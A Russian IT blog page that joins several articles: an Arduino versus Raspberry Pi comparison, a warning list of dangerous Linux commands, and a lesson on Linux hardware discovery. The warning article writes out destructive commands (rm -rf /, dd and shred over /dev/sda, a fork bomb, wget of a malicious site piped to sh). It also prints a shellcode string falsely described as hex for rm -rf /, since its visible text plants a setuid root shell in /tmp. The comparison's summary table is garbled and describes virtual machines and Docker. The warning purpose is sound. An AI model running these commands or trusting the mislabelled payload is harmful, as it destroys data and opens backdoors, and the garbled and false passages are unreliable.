По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
Одноплатные компьютеры стали довольно популярными в последние десятилетия благодаря их возможности быть использованными в процессе разработки и обучения для начинающих. Одноплатный компьютер представляет собой не что иное, как одну единственную плату, но работает как полноценный компьютер, оснащенный микропроцессором, памятью и устройством ввода-вывода, а также множеством других функций. Одноплатные компьютеры изначально использовались в качестве систем демонстрации и разработки для различных отраслей промышленности. В отличие от стандартного настольного компьютера, одноплатные компьютеры обычно не зависят от слотов расширения для расширения или основных функций.
Хотя существует большое количество одноплатных компьютеров, Arduino и Raspberry Pi - два самых популярных устройства. Они стали довольно популярными среди студентов и профессионалов, а также любителей и начинающих программистов. У каждой платы есть свои плюсы и минусы, и профессионалы точно знают, когда и где использовать какую плату, а когда переключаться на другую. Но программисты, которые только начинают создавать проекты, часто мучаются в выборе между ними и пытаются сделать важный выбор - какую плату изучать и использовать для своих проектов.
Raspberry Pi
Несмотря на размер кредитной карты, Raspberry Pi представляет собой полнофункциональный компьютер, поскольку он имеет выделенную память, графическую карту и процессор. Плата может даже работать под управлением специально разработанной версии ОС Linux. Платы были разработаны Фондом Raspberry Pi для поощрения базового обучения информатике в школах наряду с развивающимися странами. Несмотря на то, что платы были предназначены только для обучения, они стали более популярными, чем предполагалось, и использовались в таких высокотехнологичных приложениях, как робототехника, медиаплееры, эмуляторы и даже АТС Asterisk (дистрибутив под названием RasPBX).
Arduino
Arduino - это одноплатный компьютер, состоящий из трех основных функций. Первым является аппаратная прототипная платформа, вторым - язык Arduino и, наконец, интегрированная среда разработки (IDE) и библиотеки. Плата Arduino - это скорее микроконтроллер, а не полноценный компьютер. На плате Arduino не может работать операционная система, но код может быть написан и выполнен так, как его постоянное программное обеспечение интерпретирует. Основная функция платы Arduino - взаимодействие со вторичными устройствами и датчиками, что делает ее идеальной для проектов, которые требуют минимальной сложности и работают только на датчике или ручном вводе.
Разница между Arduino и Raspberry Pi
И Arduino, и Raspberry Pi закрепили свое место в индустрии одноплатных компьютеров и любимы миллионами людей во всем мире. Хотя их характеристики и их возможности различны, все зависит от того, какая плата подойдет для вашего проекта. В этой статье мы обсудим особенности Arduino и Raspberry Pi и проведем сравнение их наиболее выдающихся характеристик, чтобы помочь вам сделать выбор в пользу наилучшего одноплатного компьютера для ваших проектов.
Кривая обучения
Как мы уже обсуждали ранее, Pi - это больше компьютер, а Arduino, по сути, является дверью в мир программирования. В целом, Arduino гораздо легче освоить, так как он имеет гораздо более низкий барьер для входа. Если у вас мало или совсем нет знаний в области компьютеров и программирования, но вы хотите начать, Arduino - правильный выбор для вас. С другой стороны, люди с опытом работы в Unix или Linux могут легко использовать Raspberry Pi, поскольку на него можно установить специальную версию Linux, созданною для оборудования Raspberry Pi. После установки ОС это похоже на работу на любом компьютере с Linux.
Простота
Плата Arduino намного проще в использовании по сравнению с Raspberry Pi. Плата Arduino может быть легко сопряжена с аналоговыми датчиками и другими электронными компонентами, используя всего несколько строк кода. В противоположность этому, есть много хлопот для простого считывания входных сигналов с датчиков, поскольку для этого требуется установка нескольких библиотек и программного обеспечения для создания интерфейса между платой и датчиками и другими электронными компонентами. Кодирование в Arduino также проще, чем в Raspberry Pi, который требует знания Linux и его команд.
Доступные языки программирования
Одноплатный компьютер Raspberry Pi был разработан с целью побудить молодежь присоединиться к программированию. Pi в Raspberry Pi происходит от языка Python, который обозначает его использование в плате. Несмотря на это, Raspberry Pi за короткое время освоила несколько языков программирования и стала основным выбором для обширной группы программистов. Некоторые из языков, которые доступны для использования в Raspberry Pi, это Scratch, Python, HTML 5, JavaScript, JQuery, Java, C, C ++, Perl и Erlang.
В случае Arduino вы встретите Arduino IDE - кроссплатформенный пользовательский интерфейс, используемый для написания и загрузки программ на плату. Он написан на языке программирования Java и помогает любому достаточно легко начать программирование Arduino. Но в высокопроизводительных проектах Arduino IDE действует как ограничение того, что можно сделать. Если вы не хотите использовать IDE, вы можете кодировать Arduino, используя язык C ++.
Есть много других инструментов, доступных для начинающих и профессионалов, которые можно использовать при программировании в Arduino. Одним из таких инструментов является ArduBlock, который помогает новичкам с минимальным опытом программирования визуализировать свой код, а не печатать его, помогая им понять логику. Еще одним визуальным инструментом является Snap4Arduino, который меньше ориентирован на программирование, но больше помогает пользователю понять, как он работает, так как он создан для немного более старой аудитории. Другими языками, которые могут использоваться прямо или косвенно через внешние коммуникаторы, являются C # и Python.
Сетевые возможности
Сетевые возможности Raspberry значительно превосходят возможности Arduino. Raspberry Pi 3 имеет Bluetooth и возможность беспроводного подключения. Он также может подключаться к Интернету через Ethernet. Плата поставляется с 1 портом HDMI, 4 портами USB, одним портом камеры, 1 портом Micro USB, 1 портом LCD и 1 портом Display Port DSI, что делает его идеальным для множества приложений. В то же время порты Arduino не созданы для прямого подключения к сети. Даже если это возможно, потребуется дополнительный чип с портом Ethernet, что потребует дополнительной проводки и кодирования.
Скорость процессора
Разница в скорости процессора между Raspberry Pi и Arduino довольно очевидна и огромна, что связано с тем, что первый является полностью работоспособным компьютером, а другой - микропроцессором. Сравнивая тактовую частоту платы Arduino Uno и платы Raspberry Pi Model B, мы видим значения 16 МГц и 700 МГц соответственно. Поэтому устройство Raspberry работает в 40 раз быстрее, чем плата Arduino. Кроме того, плата Pi имеет в 128 000 раз больше оперативной памяти, чем плата Arduino с оперативной памятью 0,002 МБ.
Важно помнить, что Arduino - это просто plug & play устройство и может быть включено и выключено в любое время без каких-либо повреждений. Но Raspberry Pi работает под управлением операционной системы и сам по себе является полноценным компьютером, который требует надлежащего выключения перед отключением питания. Неправильное завершение работы Raspberry Pi может повредить плату, повредить приложения и даже повлиять на скорость процессора.
Ввод/Вывод (I/O)
Контакты ввода/вывода на вашем одноплатном компьютере позволяют ему общаться с другими подключенными к нему устройствами. Например, если вы хотите активировать двигатель или зажечь светодиод с помощью одноплатного компьютера, вам понадобятся эти выводы ввода/вывода для выполнения этих задач. Raspberry Pi (модель 2) имеет 17 контактов ввода/вывода, а плата Arduino (Uno) - 20 контактов.
Потребляемая мощность
Из-за своего мощного (сравнительно) процессора плата Pi требует непрерывного источника питания 5 В и может работать не идеально при питании от батарей. Но Arduino может бесперебойно работать с аккумулятором из-за его низких требований к питанию. Хотя энергопотребление может меняться с увеличением количества подключенных устройств.
Место хранения
Базовая плата Arduino поставляется с хранилищем 32 КБ для хранения кода, который предоставляет платам инструкции. Этого достаточно, так как хранилище не будет использоваться для приложений, видео и фотографий. Pi, однако, не поставляется с хранилищем, но поддерживает порт micro SD, который позволяет пользователю добавлять столько памяти, сколько ему нужно.
Доступность и популярность
И доски Arduino, и Raspberry Pi получили признание большого числа людей со всего мира. Благодаря такой высокой популярности платы Arduino и Raspberry Pi легко доступны для покупки. Для сравнения, Arduino намного дешевле плат Raspberry Pi из-за ограниченных возможностей. Стоимость может увеличиться с платами высокого класса.
Arduino против Raspberry в робототехнике и IoT
Выбор правильной одноплатной системы для вашего проекта очень важен, поскольку он будет определять, насколько быстро и эффективно ваша задача будет выполнена. Хотя у плат Arduino и Raspberry Pi есть свои плюсы и минусы, выбор правильной платы будет полностью зависеть от ваших требований.
Например, если ваша задача - считывать данные датчиков и реагировать на них в режиме реального времени, плата Arduino подойдет вам больше, чем Raspberry Pi. Это связано с низким энергопотреблением и низким уровнем обслуживания. Arduino идеально подходит для проектов, которые должны работать непрерывно с минимальным взаимодействием и реакцией. Отличным примером такой задачи будет запись температуры на улице и отображение ее на экране. Платы Arduino идеально подходят для начинающих, которые только делают первые шаги и не пока не стремятся создать каких-либо проектов высокого уровня.
С другой стороны, Raspberry Pi следует использовать для проектов, которые являются более сложными, чем пример, упомянутый выше. Плата должна использоваться, когда необходимо выполнить несколько задач одновременно, а некоторые или все из них сложны. Например, если ваш проект регистрирует температуру в определенном районе, анализирует тренды температуры за последние недели и прогнозирует погоду на следующие несколько дней, а также принимает решение, будет ли погода оптимальной для орошения, тогда Raspberry Pi это то, что вам нужно. Проще говоря, плата Raspberry Pi предназначена для профессионалов, которые строят сложный и надежный проект, для которого требуется способность выполнять несколько задач одновременно, чего не хватает в Arduino.
Обзорная таблица
Виртуальная машинаDocker контейнерИзоляция процесса на аппаратном уровнеИзоляция процесса на уровне ОСКаждая виртуальная машина имеет отдельную ОСКаждый контейнер может совместно использовать ОСЗагружается в считанные минутыЗагружается в считанные секундыВиртуальные машины занимают несколько ГБКонтейнеры легкие (КБ / МБ)Готовые виртуальные машины трудно найтиГотовые док-контейнеры легко доступныВиртуальные машины могут легко перейти на новый хостКонтейнеры уничтожаются и воссоздаются, а не перемещаютсяСоздание ВМ занимает относительно больше времениКонтейнеры могут быть созданы в считанные секундыБольше использования ресурсаМеньшее использование ресурсов
Итого
Обе платы имеют довольно длинный список плюсов и минусов, но они отлично подойдут, если требование будет правильным. Но какими бы разными они ни казались, существует сценарий, в котором они могут работать вместе, чтобы максимизировать результаты проекта. Вы можете сравнить плату Arduino со спинным мозгом тела, который принимает мелкомасштабные решения, такие как зажигание светодиода или измерение температуры жидкости, в то время как плата Raspberry Pi - это мозг, который принимает сложные решения, такие как анализ прошлых ценностей и прогнозирование будущих ценностей.
В конце концов, как мы уже говорили, плата Arduino идеально подходит для вас, если вы новичок и хотите узнать об электронике или о тех, кто имеет опыт работы с электроникой и хочет заняться простыми проектами. Raspberry Pi идеально подходит для вас, если у вас есть знания Linux и вы хотите использовать их для создания сложных сетевых электронных проектов.
Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.
В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.
Это как непростительные заклятия, которые не должен произносить ни один волшебник.
Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!
Необратимые
И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить:
rm –rf / - Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е.
Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
rm - команда для удаления файлов
-r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
-f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
/ - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.
Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root. Однако, если добавить к ней ключ --no-preserve-root, то команда всё же сработает.
Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
16-ричное представление команды rm –rf /, его система тоже поймёт.
sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.
/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
shred /dev/sda - Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.
mkfs.ext3 /dev/sda - Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.
chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.
Опасные, но обратимые
:(){ :|:& };: - Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.
Чтобы лучше понять, как она действует, давайте её немного преобразуем:
fu() {
fu | fu &
}
fu
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf, то можно просто стереть содержимое файла.
wget http://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.
chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.
Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!
С чего начинается Linux? LPI (Linux Professional Institute) считает, что изучение необходимо начинать с темы "Обнаружение и настройка комплектующих". Это работа с "железом", это работа с комплектующими вся аппаратная часть, то что мы видим и настраиваем. На сайте LPI (www.lpi.org) мы можем найти, что должен знать обучающийся Linux.
Включение и отключение встроенного "железа"
Настройка системы с помощью или без помощи внешних устройств.
Разница между устройствами хранения информации
Разница между устройствами, поддерживающими "Горячую замену"
Выделение аппаратных ресурсов для устройств
Инструменты и утилиты для просмотра списка оборудования
Инструменты и утилиты для работы с USB
Разбор понятий sysfs, udev, dbus.
Далее. Возьмем для простоты Ubuntu 20.04
Директория /sys Содержится вся информация об подключенных устройствах. В данную директорию монтируется файловая система sysfs. В данной директории есть определенных набор основных папок:
devices/ - все устройства ядра
bus/ - перечень шин
drivers/ - каталог драйверов
block/ - каталог блочных устройств
class/ - группировка устройств по классам.
Навигацию по папкам осуществляем с помощью команды cd. Учитывая вложенность папок переход на уровень вверх, т.е в родительскую папку используем cd .. , где двоеточие обозначает родительский каталог. А также переход в любую папку, например, cd /sys/bus.
Следующий момент, если мы зайдем в папку с устройствами, то мы можем увидеть, как ОС наша видит устройства.
Неудобно. Чтобы удобно было работать с устройствами, используется udev. Он позволяет ОС предоставлять устройства в удобно используемом виде, чтобы было понятно нам.
Далее папка /proc - Она находится в корне нашей ОС и содержит информацию о всех запущенных процессах. Она создается в оперативной памяти при загрузке ПК. Количество фалов зависит от конфигурации данной системы. Для работы с файлами необходимы права суперпользователя.
Внесённые изменения сохраняются только до конца сеанса.
В данную папку монтируется виртуальная система procfs. В ней находится информация о состоянии ядра и вообще операционной системе в целом. Вот так выглядит данная папка.
Мы можем посмотреть всю информацию, которая нам известна о процессоре. Данная информация содержится в файле cpuinfo. Для вывода информации, содержащейся в файле, используем команду cat имя_файла. Результат работы команды cat cpuinfo.
Есть еще интересный файл mounts. Он показывает все смонтированные файловые системы. Результат вывода будет примерно такой.
Можно увидеть, когда мы просматриваем содержимое каталога командой ls , то файлы подсвечиваются белым цветом, а каталоги синим.
Переходим немного глубже по дереву каталогов файловой системы cd /prox/sys в данной папке все о настройках и процессах, происходящих с нашей текущей файловой системой. В данной директории есть несколько подпапок.
И зайдем в подпапку, относящуюся к файловой системе fs.
Посмотрим, например file-max в данном файле информация о том сколько файлов одновременно может открыть пользователь.
В последней версии число таких фалов увеличилось. До версии 20.04, число файлов было по умолчанию 204394. Можно изменить число или данные, например, с помощью команды echo 10000000000> file-max
Все изменения, которые мы делаем в данной директории они сохраняются только до перезагрузки! Это надо учитывать.
Еще одна основная папка в корневой директории папка /dev она в себе содержит интерфейсы работы с драйверами ядра.
/dev/sd буква - жесткий диск (в системах на ядре Linux)
/dev/sd буква номер раздел диска
/dev/sr номер (/dev/scd номер) CD-ROM
/dev/eth номер Сетевой интерфейс Ethernet
/dev/wlan номер Сетевой интерфейс Wireless
/dev/lp номер Принтер
/dev/video номер - устройство изображений, камеры, фотоаппараты.
/dev/bus/usb/001/номер устройство номер на шине USB
/dev/dsp звуковой вывод
Набор оборудования
Команды вывода перечня устройств.
Lsmod информация о модуле ядра
Lspci - информация об устройствах PCI
Lspcmcia - информация об устройствах PCMCIA
Lsusb - информация о шине USB
Lshw детальная информация о комплектующих.
Команда lsmod утилита которая показывает нам модули ядра. Модуль ядра - это объект, который содержит код позволяющий расширить функционал ядра. Вот так выглядит ее вывод.
По сути, если проводить аналогию с ОС Windows это драйвера. Вывод команды lshw
Данная команда сканирует все устройства и выводит подробную информацию по ним и достаточно детально. Утилиты для работы с модулем ядра или утилиты управления моделями ядра.
Lsmod информация о модулях ядра
Modinfo - информация о конкретном модуле
Rmmod - удаление модуля ядра
Insmod установка модуля ядра
Modprobe деликатное удаление или добавление модуля ядра
Фактически эти команды используются для добавления и удаления "драйверов" устройств в linux системе. В большинстве случаев ОС самостоятельно подключит устройство, но бывает такое, что устройство не стандартное и требуется добавить модель, для того чтобы ядро ОС, корректно работало с данным устройством.
Rmmod и insmod - команды грубые и не умеют работать с зависимостями, поэтому необходимо использовать Modprobe с различными ключами.
Взаимодействие с CPU, основные понятия
IRQ - механизм прерываний
IO адреса обмен информацией между устройствами и CPU
DMA обращение к ОЗУ минуя CPU
Выделение ресурсов. IRQ - механизм прерываний это система которая сообщает центральному процессору о наступлении какого либо события, на которое процессор должен отреагировать. Есть определенные адреса прерываний, их можно увидеть в биосе ПК. Есть стандартные номера прерываний. Ранее была необходимость при конфликте устройств назначать в ручном режиме данные прерывания, в настоящее время с появлением технологии Plug and Play, данная потребность исчезла.
IO адреса это область памяти в которой процессор считывает информацию об устройствах и туда же ее записывает. Это выделенный диапазон. Вообще она бывает в памяти и адресация по портам.
DMA- технология появилась относительно недавно и позволяет устройствам обращаться к памяти минуя процессор. Существенно повышает быстродействие.
Все технологии настраиваются автоматически.
Устройства хранения
PATA параллельный интерфейс
SATA - последовательный интерфейс
SCSI - стандарт передачи данных
SAS замена SCSI
Современные SATA, SAS нужно понимать есть устройства, поддерживающие горячую замену и устройства, не поддерживающие горячую замену.
Устройства, которые можно выдернуть из ПК, безболезненно, и это не обрушит систему, причем ОС не подвиснет, не перезагрузится, это устройства поддерживающие горячую замену, например, USB.
Устройство, которое не поддерживает горячую замену, например, оперативная память. Если мы ее выдернем из материнской платы, ОС однозначно обрушится.
Команда blkid показывает какие устройства у нас смонтированы.
Нужно отметить, что у каждого устройства есть уникальный UUID, что udev умеет читать UUID, и он монтирует в понятном виде нам.